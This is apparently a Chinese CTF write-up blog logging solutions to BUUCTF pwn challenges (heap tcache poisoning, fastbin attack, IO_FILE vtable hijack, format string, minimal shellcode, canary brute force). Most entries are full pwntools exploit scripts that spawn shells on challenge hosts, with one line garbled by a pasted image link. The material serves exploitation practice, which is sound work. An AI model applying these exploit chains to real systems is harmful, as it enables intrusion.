BUUCTF刷题记录

写在前面

现在BUU第六页快做完了,发现现在有的题目在做的时候确实没想出来,不过看了一眼其他师傅的wp就很快写出来了,如果针对这类题目再去单独写一份wp又没太多必要。所以在之后的做完的题目里,没有必要单独写一篇wp的题目以及直接做出来的题目就都放到这篇文章来简单记录一下了。

hwb_2019_mergeheap

merge函数可以让两个堆块的内容合并一起,并且新申请出来一个大堆块。让内容合并在一起的思路是先复制第一个堆块的数据,然后再把第二个堆块的数据追加到第一个堆块的后面。漏洞是追加的时候如果我们申请了例如0x88 0x98 0xa8这样的堆块并且写满了数据,那么还会把第二个堆块的size位给追加上去,从而溢出覆盖了下一个堆块size位

做一个堆块重叠打tcache poisoning即可。泄露libc地址的话,先申请两个堆块(保证加起来的size大于0x410),然后合并后将大堆块释放掉,再申请0x8的堆块出来,写入0x8个字符a,对其执行show函数,即可泄露unsorted bin的bk指针

from tools import *
context.log_level='debug'
p,e,libc=load("a","node4.buuoj.cn:28548")

def add(size,content="/bin/sh\x00"):
p.sendlineafter(">>",str(1))
p.sendlineafter("len:",str(size))
p.sendlineafter("content:",content)

def delete(index):
p.sendlineafter(">>",str(3))
p.sendlineafter("idx:",str(index))

def show(index):
p.sendlineafter(">>",str(2))
p.sendlineafter("idx:",str(index))

def merge(idx1,idx2):
p.sendlineafter(">>",str(4))
p.sendlineafter("idx1:",str(idx1))
p.sendlineafter("idx2:",str(idx2))

add(0x300)
add(0x300)

merge(0,1)
add(0x300)
delete(2)

add(0x8,'a'*0x8)
show(2)
libc_base=recv_libc()-0x3ec110
log_addr('libc_base')
free_hook=libc_base+libc.symbols['__free_hook']
sys_addr=libc_base+libc.symbols['system']

add(0x2c0)
add(0x100,"a"*0x3d0)
add(0x208,"b"*0x208)

add(0x300)#index 6
add(0x100,"spk_chunk")
add(0xf0)
add(0xf0)

delete(7)
merge(5,6)
delete(9)
debug(p,'pie',0x1094,0x10A0,0x10AC,0x10B8,0x1018)
delete(8)
payload=b"u"*0x100+p64(0)+p64(0x101)+p64(free_hook)
add(0x300,payload)
add(0xf0)
add(0xf0,p64(sys_addr))
delete(0)
p.interactive()

jarvisoj_itemboard

本题是控制堆块里存放了delete的函数指针,并且存在UAF漏洞,存在show函数常规泄露libc地址即可。将两个控制堆块都放入fast bin里,然后申请与控制堆块等大的堆块,就可以去控制其中的一个控制堆块,将里面的函数指针改为system地址,此时情况为:

image-20221123175606412

from tools import *
context.log_level='debug'
p,e,libc=load("a","node4.buuoj.cn:28353","buu64-libc-2.23.so")

def add(size,name="/bin/sh\x00",content="/bin/sh\x00"):
p.sendlineafter("choose:\n",str(1))
p.sendlineafter("Item name?\n",name)
p.sendlineafter("Description's len?\n",str(size))
p.sendlineafter("Description?",content)

def delete(index):
p.sendlineafter("choose:\n",str(4))
p.sendlineafter("Which item?\n",str(index))

def show(index):
p.sendlineafter("choose:\n",str(3))
p.sendlineafter("Which item?\n",str(index))

def list():
p.sendlineafter("choose:\n",str(2))

add(0x100)

add(0x100)
add(0x60)
add(0x60)
delete(0)

show(0)
libc_base=recv_libc()-0x3c4b78
sys_addr=libc_base+libc.symbols['system']
bin_sh_addr = libc_base +next(libc.search(b"/bin/sh"))
add(0x100)

delete(2)
delete(3)
debug(p,'pie',0xFBA,0xFC6,0xFD2,0xFDE,0xB4F,0xCCB)
payload=b"/bin/sh;aaaaaaaa"+p64(sys_addr)
add(0x18,'uuuu',payload)
log_addr("sys_addr")
delete(2)
p.interactive()

ciscn_2019_c_3

本题存在两个漏洞,一个是UAF,一个是堆溢出(可以溢出0x10个字节,但代价是无法控制fd和bk指针)

由于是2.27的libc,所以就double free,释放同一个堆块8次,让其进入unsorted bin,泄露libc地址。

接下来有俩思路,第一是利用堆溢出篡改size然后打堆块重叠+tcache poisoning劫持free_hook;第二是利用程序里一个backdoor函数,这个函数可以让某个堆块的fd指针加上一个小的值,先打double free让fd指针是一个堆块的地址,然后不断触发backdoor将fd指向free_hook的位置再将其申请出来劫持,最后写入一个one_gadget的地址即可

from tools import *
context.log_level='debug'
p,e,libc=load("a","node4.buuoj.cn:26543")

def add(size,content="/bin/sh\x00"):
p.sendlineafter("Command: \n",str(1))
p.sendlineafter("size: \n",str(size))
p.sendlineafter("Give me the name: \n",content)

def delete(index):
p.sendlineafter("Command: \n",str(3))
p.sendlineafter("weapon:\n",str(index))

def show(index):
p.sendlineafter("Command: \n",str(2))
p.sendlineafter("index: \n",str(index))

add(0x100)
add(0x60)
for i in range(8):
delete(0)
show(0)
p.recvuntil("attack_times: ")

libc_base=int(p.recv(15))-0x3ebca0
log_info(hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sys_addr=libc_base+libc.symbols['system']

delete(1)
add(0x60,b'a'*0x10+p64(free_hook-0x10))
delete(1)
delete(1)

for i in range(0x20):
p.sendlineafter("Command: \n",str(666))
p.sendlineafter("weapon:\n",str(2))

debug(p,'pie',0x12D1,0x12DD,0x12E9,0x130B)
add(0x60)
add(0x60)
add(0x60,p64(search_og(1)+libc_base))
delete(0)
p.interactive()

image-20221125205436933

nsctf_online_2019_pwn2

本题的漏洞在于这个函数如下

image-20221125222254210

该函数可以溢出到bss段0x202090的这个地方,从而篡改一字节,就相当于可以任意堆地址写,任意堆地址读,任意堆地址释放(前提是地址范围都是在可控的最后一字节)。接着就去打堆块重叠泄露libc地址,然后打fastbin attack即可。

from tools import *
context.log_level='debug'
p,e,libc=load("a","node4.buuoj.cn:26263","buu64-libc-2.23.so")

def add(size):
p.sendlineafter("6.exit\n",str(1))
p.sendlineafter("Input the size\n",str(size))

def delete():
p.sendlineafter("6.exit\n",str(2))

def show():
p.sendlineafter("6.exit\n",str(3))

def input_size(size):
p.sendlineafter("6.exit\n",str(4))
p.sendafter("Please input your name",size)

def input_content(content):
p.sendlineafter("6.exit\n",str(5))
p.sendlineafter("Input the note\n",content)

p.sendlineafter("Please input your name","a"*0x8)


add(0x20)#overflow chunk
add(0x60)#Tampering chunk
add(0x30)
add(0xa0)

input_size('b'*0x30+'\x10')

input_content(b'a'*0x20+p64(0)+p64(0xb1))
input_size('b'*0x30+'\x40')
delete()
add(0x60)

input_size('b'*0x30+'\xb0')

show()
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
input_size('b'*0x30+'\x40')

delete()
add(0x38)
input_size('b'*0x30+'\x10')

input_content(b'a'*0x20+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60)

add(0x60)
input_content(b"a"*0xb+p64(search_og(1)+libc_base)+p64(realloc+12))
debug(p,'pie',0xCFF,0xD0B,0xD17,0xD23,0xD2F)
add(0x10)
p.interactive()

image-20221125222657876

metasequoia_2020_samsara

本题的漏洞是存在UAF和后门函数,只需要让栈里的一个变量为0xdeadbeef即可,而程序自己泄露了栈地址,并且可以在需要篡改的变量的低地址处写入一个64位无符号数。所以打一个house of spirit即可触发后门。

from tools import *
context.arch='amd64'
context.log_level='debug'
p,e,libc=load("a","node4.buuoj.cn:29238")

def add():
p.sendlineafter("choice > ",str(1))

def delete(index):
p.sendlineafter("choice > ",str(2))
p.sendlineafter("Index:\n",str(index))

def input_1(index,content):
p.sendlineafter("choice > ",str(3))
p.sendlineafter("Index:\n",str(index))
p.sendlineafter("Ingredient:\n",str(content))

def show():
p.sendlineafter("choice > ",str(4))

def move(content):
p.sendlineafter("choice > ",str(5))
p.sendlineafter("Which kingdom?\n",str(content))

add()
add()

delete(0)
delete(1)
delete(0)
show()
p.recvuntil('\x78')
stack_addr=int(p.recv(12),16)
log_addr('stack_addr')
move(0x21)

input_1(0,stack_addr-8)

add()
add()
debug(p,'pie',0xB99,0xC02,0xC57,0xCCF,0xCE9,0xC9A)
input_1(3,0xdeadbeef)
p.sendlineafter("choice > ",str(6))
p.interactive()

image-20221126111155652

huxiangbei_2019_hacknote

本题是静态链接的题目(任何保护都没有),在edit函数里存在一个off by one的漏洞(第一次输入一个超过size的字符串,第二次再edit一次,就可以触发off by one),打一个堆块重叠加fastbin attack。因为是静态链接,所以malloc_hook是在data段上,又没开PIE,所以fastbin attack就可以直接劫持fd的位置为malloc_hook。为了绕过检查,改成malloc_hook-0x16如下

image-20221126155133663

最终将malloc_hook里写入malloc_hook+8后面紧跟shellcode即可

from tools import *
context.log_level='debug'
p=load("b","node4.buuoj.cn:26161")

def add(size,content):
p.sendlineafter("-----------------\n",str(1))
p.sendlineafter("Input the Size:\n",str(size))
p.sendlineafter("Input the Note:\n",content)

def delete(index):
p.sendlineafter("-----------------\n",str(2))
p.sendlineafter("Input the Index of Note:",str(index))

def edit(index,content):
p.sendlineafter("-----------------\n",str(3))
p.sendlineafter("Input the Index of Note:\n",str(index))
p.sendlineafter("Input the Note:\n",content)


add(0x18,'a'*0x30)

add(0x58,'b'*0x29)
add(0x30,'iiii')
add(0x30,'prevent merge')
#0x6CB788
edit(0,'c'*0x19)
edit(0,b'd'*0x10+p64(0)+b'\xa1')

delete(1)
delete(2)

add(0x90,p64(0)*11+p64(0x41)+p64(0x6CB788-0x16))

add(0x30,'e'*8)
debug(p,0x400EB9,0x400ECA,0x400EA8)
add(0x30,b'a'*6+p64(0x6CB788+8)+shellcode_store('shell_64'))
p.sendlineafter("-----------------\n",str(1))
p.sendlineafter("Input the Size:\n",str(0x10))
p.interactive()

image-20221126155434205

picoctf_2018_buffer overflow 3

本题以 ssh 登录,无法直接去打远程,而是登录远程服务器,来打的本地,需要注意的是本地也没有 pwntools ,所以无法用 py 脚本来打。

本题就是自己实现了一个四字节的 canary (从 canary.txt 文件中读取的),然后有个明显的栈溢出,并且给了后门函数读取 flag

关键点如下

image-20230204163000453

21 行,可以往 buf 直接溢出,控制 s1 ,但需要注意的是 s1 本来的数据存放的就是 canary ,这就意味着我们可以先输入一个字符,因为后面三个字符一定是正确的(不覆盖的话),如果这个字符正确,就可以通过检查,从而实现 canary 一个一个字符的比对。

因此这里的我们 ssh 登录上后,用这个 shell 命令

for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done

来将 canary 的第一个字符来爆破出来,一次类推进行逐位爆破,具体而言,循环语句 for i in {0..255}$i$0255 依次设置为变量。对于每一次迭代,该命令都使用 python 解释器执行以下脚本:

perlCopy code
print "33\n" + "U"*32 + chr($i)

该脚本打印了字符串 “33\n”,然后使用重复字符 “U” 的字符串(长度为 32)连接上 ASCII 码为 $i 的字符,最后通过管道符(|)将输出重定向到可执行文件 ./vuln。输出的内容被重定向到 /dev/null,以避免在屏幕上显示。

如果执行 ./vuln 程序的退出代码为零,则表明程序正常退出,并使用命令 echo "$i" 将当前 $i 的值打印到屏幕上。

依次类推将每一位的 canary 都爆破出来 ,因为题目给了后门函数,因此最后返回地址填充成后门函数的地址即可

image-20230205091810320

pwnable_seethefile

这题我是真的烦,这题的 _IO_file_close_IO_new_file_finish 都可以劫持,因为我调试的时候是先看触发了 _IO_file_close ,所以就想着来打这个。按理说只要检查绕过了能触发,劫持vtable 之后打哪个都一样,但是我打 _IO_file_close 远程死活不通(本地是能通的) 然后网上一搜 wp 发现全打的是 _IO_new_file_finish , 我也不知道为啥都会想着去打这个位于后面的函数指针…

有个除了 flag 文件的任意文件读取,所以直接去读 /proc/self/maps 文件获取 libc 地址,然后有个很明显的篡改文件指针的漏洞,就伪造一个 IO_FILE 然后控制 vtable ,总之这题除了那个获取 libc 地址的操作我是第一次见之外,后面攻击 IO 流都是入门操作… 不说了 越想越气

这里的 exp 注释的部分是我最初打 _IO_new_file_finishpayload 。本题能打通,远程不行… 注意:获取的 libc 地址 +0x1000 才是 libc 基地址

from tools import *
context.log_level='debug'
context.arch='amd64'
p,e,libc=load('a',"node4.buuoj.cn:25199","/home/zikh/Desktop/buu32-libc-2.23.so")
debug(p,0x08048AE0)

p.sendlineafter("Your choice :",str(1))
p.sendlineafter("What do you want to see :",'/proc/self/maps')

p.sendlineafter("Your choice :",str(2))
p.sendlineaft![image-20230208221017928](C:/Users/86137/AppData/Roaming/Typora/typora-user-images/image-20230208221017928.png)er("Your choice :",str(3))
for i in range(3):
p.recvline()

heap_base=int(p.recv(8),16)
log_addr('heap_base')
p.recvline()
libc_base=int(p.recv(8),16)+0x1000
log_addr('libc_base')
sys_addr=libc_base+0x0003a940
log_addr('sys_addr')
p.sendlineafter("Your choice :",str(5))

# vtable_addr=0xdeadbeef
# io_file_addr=0x804b284
# io_file=b"/bin/sh;"#_flags
# io_file+=p32(0x0)*11
# io_file+=p32(libc_base+0x1d8ce0)
# io_file+=p32(0x3)#fileno
# io_file+=p32(0x0)*3
# io_file+=p32(heap_base+0x1208)
# io_file+=p32(0xffffffff)
# io_file+=p32(0xdeadbeef)*17
# io_file+=p32(0x804b2d8)
# io_file+=p32(sys_addr)


# payload=p32(0xdeadbeef)*0x8
# payload+=p32(io_file_addr)
# payload+=io_file

payload = p32(0xdeadbeef)*0x8
payload += p32(0x0804B284)
payload += p32(0xffffdfff)
payload += b";sh"+b'\x00'*0x8d
payload += p32(0x0804B284+0x98)
payload += p32(sys_addr)*3
p.sendlineafter("Leave your name :",payload)
p.interactive()

image-20230208221024944

参考文章:https://www.nullhardware.com/reference/hacking-101/picoctf-2018-binary-exploits/buffer-overflow-3/

xm_2019_awd_pwn2

很简单,uaf漏洞,2.27的libc,直接打double free即可

from tools import *
context.log_level='debug'

p,e,libc=load("pwn","node4.buuoj.cn:27530")

def add(size,content):
p.sendlineafter(">>",str(1))
p.sendlineafter("size:",str(size))
p.sendlineafter("content:",content)

def show(idx):
p.sendlineafter(">>",str(3))
p.sendlineafter("idx:",str(idx))


def delete(idx):
p.sendlineafter(">>",str(2))
p.sendlineafter("idx:",str(idx))

add(0x500,'a')
add(0x60,'/bin/sh\x00')
delete(0)
show(0)
libc_base=recv_libc()-0x3ebca0
log_addr('libc_base')
sys_addr=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
delete(1)
delete(1)
delete(1)
add(0x60,p64(free_hook))

debug(p,'pie',0x1693)
add(0x60,'/bin/sh\x00')
add(0x60,p64(sys_addr))

delete(1)
p.interactive()

image-20230702173556806

rctf_2019_shellcoder

考察了 shellcode 的编写,只有七个字节输入的机会,然后将其执行。

我采用的是用 xchg 指令来交换了 rdirsi 的值,以此来节省了字节数,再次执行系统调用read(同时还采用了 mov edx,esi 指令又节省了一个字节,才凑齐了七个字节)

这次的 read 可以读入很多字节了,正常打 execve("/bin/sh\x00")shellcode 即可

from tools import *
context.log_level='debug'
context.arch='amd64'
#p=process('./pwn')
p=remote("node4.buuoj.cn",27174)
debug(p,'pie',0x47c,0x4c7)
payload="\x48\x87\xF7\x89\xF2\x0F\x05"
p.sendafter("hello shellcoder:",payload)

shellcode="""
mov rax,0x3b
xor rsi,rsi
xor rdx,rdx
mov r11,0x68732f6e69622f
push r11
push rsp
pop rdi
syscall
"""
#execve("/bin/sh\x00",0,0)
pause()
payload=b'a'*7+asm(shellcode)
p.send(payload)
p.interactive()

image-20230703145813242

picoctf_2018_gps

本题是泄露了一个栈地址,然后有一个任意地址执行的机会,因为没开 MX 保护,所以可以直接跳转到 shellcode 上,又因为泄露的地址和执行的位置存在随机化(所以采用 nop 滑行的方式执行到 shellcode 上)

因为存在随机化的过程,导致了不一定能落在 nop 上,exp 有概率打不通

from tools import *
#context.log_level='debug'
context.arch='amd64'
p,e,libc=load('pwn',"node4.buuoj.cn:25715")
debug(p,0x400aaa,0x400a76)

p.recvuntil("Current position: ")
stack_addr=hex(int(p.recv(14),16))

print(stack_addr[2:])

payload=b'\x90'*0x400+shellcode_store("shell_64")
p.sendlineafter("What's your plan?\n> ",payload)

p.sendlineafter("Where do we start?\n> ",str(stack_addr[2:]))
p.interactive()

image-20230703160237889

tiny_backdoor_v1_hackover_2016

本题考察的和 rctf_2019_shellcoder 一样,这题是能输入九个字节的 shellcode ,但是加了一个异或加密的过程,只需要反向将其异或解密即可(就是把 shellcode 与要异或的固定值异或一次得到的结果进行发送即可)

from tools import *
#context.log_level='debug'
context.arch='amd64'
#p=process("./pwn")
p=remote("node4.buuoj.cn",27311)
debug(p,0x400132)

shellcode=[0x48, 0x87, 0xD7, 0x48, 0x31, 0xC0, 0x0F, 0x05,0x90]

list=[0xB3, 0x91, 0x7F, 0xDD, 0x62, 0x81, 0x11, 0x6A, 0x90]
cnt=0
for i in list:
print(hex(shellcode[cnt]^i))
cnt=cnt+1

payload='\xfb\x16\xa8\x95\x53\x41\x1e\x6f\x00'
p.send(payload)

pause()
payload=b'a'*0x10+shellcode_store("shell_64")
p.send(payload)
p.interactive()

image-20230703163428321

hitcon_2018_hackergame_2018_calc

这道题很有意思,和保护机制没关系。主函数实现了一个计算器的功能,可以用来进行加减乘除运算,最初我是没找到这个函数有漏洞的。

image-20240303214740851

而后发现了 err 函数,其中有机会执行我们输入的命令,对其进行交叉引用,发现在 init 函数中被调用。

image-20240303214841070

image-20240303215039472

发现在程序抛出 4 6 8 11 信号的时候,都会调用 err 函数。

4 表示在执行不合法指令或者非特权模式下执行特权指令时会发出信号 SIGILL

6 表示进程异常终止,通常由标准库中的 abort 函数引起,用于异常终止程序的执行,发出信号 SIGABRT

8 表示发生了浮点运算错误,如除以零或者运算导致产生溢出,抛出信号 SIGFPE

11 是常见的段错误 SIGSEGV ,表示进程尝试访问一块非法内存(不存在地址,或者向只读地址中写入数据等等)

main 函数中很明显能发现在实现加减乘除的运算,那么肯定是要想办法让程序抛出 SIGFPE 信号

由于做了检查,没办法控制除法运算时的除数为 0 。也就是想通过一个数字除 0 是不可能的因为发现做运算时的 v4 被强转为了 int ,但是做检查时的 v4 是无符号数。尝试从这里用两种类型的切换做一个绕过,-4294967296 会被解析成 0(将高位舍弃后剩下的低位都是 0,但是这在写入内存时依然是 0 绕过不过检查)

image-20240303220517233

在这篇 文章 中提到了下面的描述

image-20240303222138301

这意味着在做除法运算时,产生的商溢出也会触发 SIGFPE 信号。

int 类型为例,它的范围是 -2^31 ~ 2^31-1 为什么正数部分要减 1

因为在有符号整数表示中,需要保留一个表示 0 的值,所以最大正数值需要减去 1

这也就是上面图片中的红框部分所展示的,如果拿负数的最小值去除以 -1 ,数字应该是变成负数的绝对值,但因为这个数字无法表示(其实是太大导致进位溢出了)。导致了 SIGFPE 的产生,因此只需要输入 -2147483648/-1 就能触发 err 函数

image-20240303223034582

但是在 err 函数中用 strstr 函数过滤了 sh 字符串。在这种情况下如何命令执行?

第一反应要拿到 flag 应该是直接 cat flag ,效果如下,没有将 flag 文件的内容输出,而是输出了 flag 这个字符串。

image-20240304095533455

原因是因为 scanf %s 读入字符串时,遇见空格和回车都会结束字符串的读取。导致 execlp 函数执行时的命令只有 cat ,而 flag 字符串被存在了缓冲区中,当 cat 命令执行后,读取到了缓冲区存放的 flag 字符串,也就是像下面这个样子。

image-20240304095938845

同时还考虑了能不能用 s''h 来绕过 strstr 所做的过滤,在 shell 中这样确实可以执行出 sh

image-20240304100219138

但这种单引号的解析实际是 shell 解释器做的,而程序中的 execlp 库函数内部调用了系统调用 execve ,没办法去解析单引号,所以 s''h 是执行失败的。

roderick 师傅的 wp 发现是先调用了 vim ,输入 :!sh 执行了 sh 命令。原理是因为 : 从编辑模式切换到末行模式后 ! 表示 vim 执行后面跟着的命令,并将命令的输出结果显示在 vim 的界面中。因为在执行 :!sh 时已经在 vim 中了,不会受到任何过滤的影响从而调用了 sh

image-20240304103156991

[第十七章][17.2.5 漏洞利用]final_fmt

因为太久没做格式化字符串的题目了,突然看这个题导致思路卡了一下,远程没通。先说下正确的思路,程序有一次向 bss 段输入数据的机会,并且泄露了一个栈地址,然后存在一次格式化字符串漏洞。

image-20240309212308484

因为有栈地址,所以考虑去劫持 main 函数或者 printf 函数的返回地址。让执行流重新回到 start 函数或者 main 函数。并且在第一次劫持时顺带泄露 libc 地址。太久没做,我以为是用 %p 泄露的地址是多少,就相当于后面写入的内存值要加上多少。这样一来泄露 libc 地址就会导致后面再劫持返回地址失败。但事实上后续写入值只需要加上打印地址的字节数而已,比如四字节的 libc 地址,那么后面写入内存减去 4 即可(这里还是学弟告诉我的,也怪当时没有自己去验证,才不是因为太久没做这类题目🥲 )

思路很简单,拿到 libc 地址后劫持 main 函数的返回地址为 one_gadgetexp 如下

from tools import*
context(os='linux',arch='i386',log_level='debug')
#p,e,libc=load("final_fmt","node5.buuoj.cn:27466","www1.so")
p=remote("node5.buuoj.cn",29166)
e=ELF("final_fmt")
libc=ELF("./www1.so")
debug(p,0x8048635)
main=0x804856E
p.sendafter("your name:\n",b"aaaa")
p.recvuntil('meet~')
stack=int(p.recv(10),16)+0x8c+0x10
log_addr("stack")
system1=0x804-0x18
system2=0x856e-system1-0x18
payload=p32(e.got['puts'])+b"%4$s"
payload+=p32(stack+2)+p32(stack)+b"%"+str(system1).encode()+b"c%6$hn"+b"%"+str(system2).encode()+b"c%7$hn"
p.sendafter("do you have something say to me~\n",payload)
read_addr=u32(p.recvuntil(b'\xf7')[-4:])
libc_addr=read_addr-libc.symbols['puts']
log_addr("libc_addr")

one5=libc_addr+0x5f075
p.sendafter("your name:\n",b"aaaa")
system3=(one5&0xffff)
log_addr("system3")
system4=((one5>>16)&0xffff)-system3
log_addr("system4")

stack=stack+0x10-0xc
log_addr("stack")
payload=p32(e.got['puts'])+b"%4$s"
payload+=p32(stack)+p32(stack+2)+b"%"+str(system3-0x18).encode()+b"c%6$hn"+b"%"+str(system4).encode()+b"c%7$hn"
payload=payload.ljust(0x40,b"\x00")
p.sendafter("do you have something say to me~\n",payload)
p.interactive()

image-20240309213711913

这里再记录一下在我忘记可以一边泄露,一边写入的操作时是如何做的这道题目。我首先观察到可以向 bss 段写入数据。那么可以在 bss 段上布置 rop 去泄露 libc。只需要用格式化字符串漏洞做一个栈迁移即可。

但经过测试后发现一个问题,bss 段距离 text 段太近,如果直接执行 printf 或者 puts 函数,那么开辟栈帧时就会到 text 段,因为该地址区域不可写,就会造成崩溃。

我采取的思路是用 rop 链调用 read 函数,向 bss 段写入大量的 ret (并且同时覆盖 read 原本的返回地址为 ret),滑到地址较高的区域,再执行 puts 函数泄露 libc 地址,随后 rop 来拿 shell。这个 exp 本地打通没问题,但不知道为什么打远程 libc 地址都泄露不出来(因为泄露 libc 地址这步是 rop 做的,感觉和本地远程关系不大,探究了一段时间,未果,于是放弃)

from tools import *
context.log_level='debug'
p=process("./final_fmt")
# p=remote("node5.buuoj.cn",29023)
e=ELF("final_fmt")
libc=ELF("/home/zikh/Desktop/libc6-i386_2.23-0ubuntu11.3_amd64.so")
start_addr=0x08048400
ret_addr=0x08048660
wtf_addr=0x0804A260
payload=p32(e.plt['read'])+p32(start_addr)+p32(0)+p32(0x804a064)+p32(0x1000)
# payload=p32(e.plt['puts'])+p32(start_addr)+p32(e.got['puts'])
p.sendlineafter("your name:\n",payload)
p.recvuntil("first meet~")
stack_addr=int(p.recv(10),16)
log_addr('stack_addr')

#0804A060
target_addr=stack_addr+0x84
log_addr('target_addr')
debug(p,0x08048635,0x8048390)
payload=b'%2052c%12$hn'+b'%39008c%11$hnaaa'
payload+=p32(target_addr)+p32(target_addr+2)
p.sendlineafter("do you have something say to me~",payload)

pop_addr=0x80486CB
pop3_addr=0x80486C9
pause()
payload=p32(ret_addr)*0x100+p32(e.plt['puts'])+p32(pop_addr)+p32(e.got['puts'])
payload+=p32(e.plt['read'])+p32(pop3_addr)+p32(0)+p32(0x804a474)+p32(0x1000)
p.sendline(payload)
p.recvuntil('\xf7')
puts_addr=u32(p.recvuntil(b'\xf7')[-4:])
sys_addr,bin_sh_addr=local_search('puts',puts_addr,libc)

pause()
payload=p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
p.send(payload)
p.interactive()

pwnable_loveletter

image-20240311222827587

该题有一次输入数据的机会,数据长度为 0x100

image-20240311223050286

然后经过 protect 函数的过滤,如果存在了这些字符,那么会将这些字符替换成一个爱心字符(用三字节表示)

image-20240311223032310

将过滤后的内容复制到 bss 段,不过复制的该数据的前后都有字符串常量的干扰。最后将整个字符串执行

因为对于命令分隔符的过滤很全,所以用命令分隔符来分割命令是不现实的。本题考察的核心点(个人认为)是如何在不用命令分隔符的情况下,执行字符串中的有效命令。

一个漏洞点是通过使用被过滤的字符,换成三字节的爱心,从而实现栈溢出。但因为 canary 的限制无法进行 rop

查看网上的 wp 做法,通过溢出来控制 memcpy 函数的 size (这里我是发现了,但不知道怎么用)进行一些后续利用。

可以控制 v60 让字符串 echo I love 都不进行拷贝,这样我们输入的字符串就是起始命令,而分割命令后面的垃圾数据的方法有很多,网上看的有用 sh -c sh 命令的(分割前面也可以控制 size1 ,从而命令为 env sh -c sh)去分割后面的垃圾字符。但其实也可以直接用 cat flag 命令丢弃后面的垃圾字符

更新:经过学弟 sta8r9 的提示,其实前面的理解是错的。因为把下面的 exp\x00 去掉也依然可以拿到 flag 。究其原因是 protect 函数中是将一个非法字符替换成了四个字节表示爱心(其中一个是空字节),而最后溢出覆盖 size 也就是 v6 的值是被爱心里的 \x00 给覆盖了,我们后面输入的 \x00 则在 protect 函数中就已经被截断了,不会被拷贝。

from tools import*
context(os='linux',arch='i386',log_level='debug')
p,e,libc=load("loveletter")
# payload=b'nv sh -c sh'
# payload+=b'a'*(0xfd-40+2)+b';'*10+p32(1)
# payload='nv sh -c sh '
# payload+='a'*(0xfd-12)+';'+'\x01'
payload='cat flag '#csh -c sh
payload+='a'*(0xfd-12+3)+';'+'\x00'
debug(p,0x08048833,0x0804874A,0x08048935)
p.sendline(payload)
p.interactive()

buu 这道题的远程环境出问题了,nc 上去就是 shell 。所以这里打本地演示了

image-20240312081758301

csaw2018_shell_code

保护检测这个 NX 很奇怪,gdb 进去用 vmmap 看了一下,发现 NX 是关的,栈里数据可以执行。

image-20240312102723041

主逻辑向栈中两个变量分别输入 15 个字节的数据

image-20240312102806457

然后在 printNode 函数中会泄露一个栈地址

image-20240312102851284

goodbye 函数中存在栈溢出。

image-20240312102911597

打法有很多,不管是拼接两段的 shellcode 还是打 shellcode 去调用 read 二次读入一个 shellcode ,或者直接调用 execve ?(没有试)

总之就是一个很基础的 ret2shellcode ,八仙过海各显神通吧

from tools import*
p,e,libc=load("shellpointcode","node5.buuoj.cn:29605")
payload="\x31\xFF\x4C\x89\xDA\x48\x89\xE6\x31\xC0\x0F\x05"

"""
xor edi,edi
mov rdx,r11
mov rsi,rsp
xor eax,eax
syscall
"""
p.sendlineafter('(15 bytes) Text for node 1: ',payload)
p.sendlineafter("(15 bytes) Text for node 2: ",'\x00\x01')
debug(p,'pie',0x8E7)
p.recvuntil('node.next: ')
stack_addr=int(p.recv(14),16)
log_addr('stack_addr')
payload=b'a'*3+p64(0xdeadbeef)+p64(stack_addr+0x28)
p.sendline(payload)
pause()
payload=b'a'*0x34+shellcode_store('shell_64')
p.sendline(payload)
p.interactive()

image-20240312103210949